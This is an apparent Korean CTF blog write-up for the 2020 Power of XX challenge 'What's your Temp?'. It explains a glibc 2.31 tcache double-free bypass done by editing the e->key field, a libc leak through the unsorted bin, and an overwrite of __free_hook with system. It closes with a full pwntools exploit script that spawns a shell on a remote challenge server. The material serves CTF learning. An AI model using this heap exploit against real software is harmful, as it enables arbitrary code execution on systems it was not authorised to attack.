[2020 Power of XX] What's your Temp? write up (glibc 2.31 double free bypass)
마지막 chunk는 2번째 청크 free 시 top chunk와 합쳐지는 것을 방지하기 위해 할당
- 청크 데이터를 확인해보면 ptr+0x8 부분에 e→key가 있는데, e→key는 Double Free를 검증하기 위한 tcache 포인터이다. 같은 청크가 이후에 해제되면 e→key를 확인하고 같으면 Double Free 에러 출력 후 비정상 종료된다.
- 이 e→key 값을 조작할 수 있으면 Double Free 검증을 우회하고 같은 청크를 free하는 Double Free를 발생시켜 tcache와 fd에 같은 청크 포인터를 적어 fd를 원하는 주소로 덮으면 원하는 주소에 청크를 할당받을 수 있게된다.
free 되어도 데이터 초기화하지 않음.
이 점을 사용해서 e→key 값 바꾼다.
- fd에 정상적으로 자신 청크의 포인터가 적힌 것을 확인할 수 있다.
- 다음 할당 시 tcache에 있는 포인터에 할당 후 이후에 fd에 적힌 포인터에 청크 할당해줄 것이다.
0x420 사이즈이므로 tcache에서 수용하는 사이즈보다 커서 unsorted bin에 들어가게 되고, fd와 bk에 main arena 영역의 주소가 적힌다.
처음에 Double Free 한 것으로 첫 번째 청크 fd에 청크 포인터가 적혀있다. fd를 __free_hook 주소로 바꾼다.
- 두 번째 청크는 __free_hook에 할당되고, 데이터는 system 주소를 준다.
- __free_hook 값이 system 주소로 덮힌다.
이제 __free_hook이 system 함수 주소로 덮혔으므로, free(chunk pointer)를 system('/bin/sh')로 만들기 위해 세번째 청크 포인터 값에 '/bin/sh'를 적어놓는다.
청크 포인터를 가져와서 free(실질적으론 system 실행)하는데 청크 포인터에 '/bin/sh'가 적혀있어서 system('/bin/sh')를 하게 된다.
#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' #p = process("./challenge") p = remote('3.35.204.82', 20516) def Create(choice, data): p.sendafter("> ", '1') p.sendafter("> ", str(choice)) p.sendafter("\nGive your description: ", data) def Leave(index): p.sendafter("> ", '2') p.sendafter("Index: ", str(index)) def View(index): p.sendafter("> ", '3') p.sendafter("Index: ", str(index)) def Edit(index, data): p.sendafter("> ", '4') p.sendafter("Index: ", str(index)) p.sendafter("Data: ", data) Create(1, 'A'*0x10) # tcache Create(2, 'C'*0x10) # unsorted bin Create(1, 'D'*0x10) #to avoid consolidate with topchunk ### Double Free ### Leave(0) Edit(0, p64(0) + p64(0x620)) # edit e->key: Double Free bypass Leave(0) # Double Free without error ### libc leak ### Leave(1) View(1) p.recvuntil("Check your information.\n") leak = u64(p.recvuntil('\x7f') + '\x00\x00'.encode()) log.info("leak: "+hex(leak)) libc_base = leak - 0x1c6be0 free_hook = libc_base + 0x1c9b28 system = libc_base + 0x30410 log.info("libc_base: "+hex(libc_base)) log.info("free_hook: "+hex(free_hook)) log.info("system: "+hex(system)) ### overwrite fd ### Edit(0, p64(free_hook)) Create(1, 'E'*0x8) # malloc in 1st chunk Create(1, p64(system)) # malloc in __free_hook, write system to __free_hook Edit(2, '/bin/sh\x00') # write /bin/sh to chunk pointer #gdb.attach(p) ### system('/bin/sh\x00') ### Leave(2) p.interactive()
[BISC CTF 2020] oldschool (0) | 2021.01.01 |
---|---|
[2020 Power of XX] T-Lab write up (tcache house of spirit) (0) | 2020.12.18 |
[2020 Power of XX] POX Server write up (double staged fsb 64bit) (0) | 2020.12.18 |
rop (6/8 실습문제) (0) | 2020.06.08 |
shot (6/1 포너블 실습 문제) (0) | 2020.06.01 |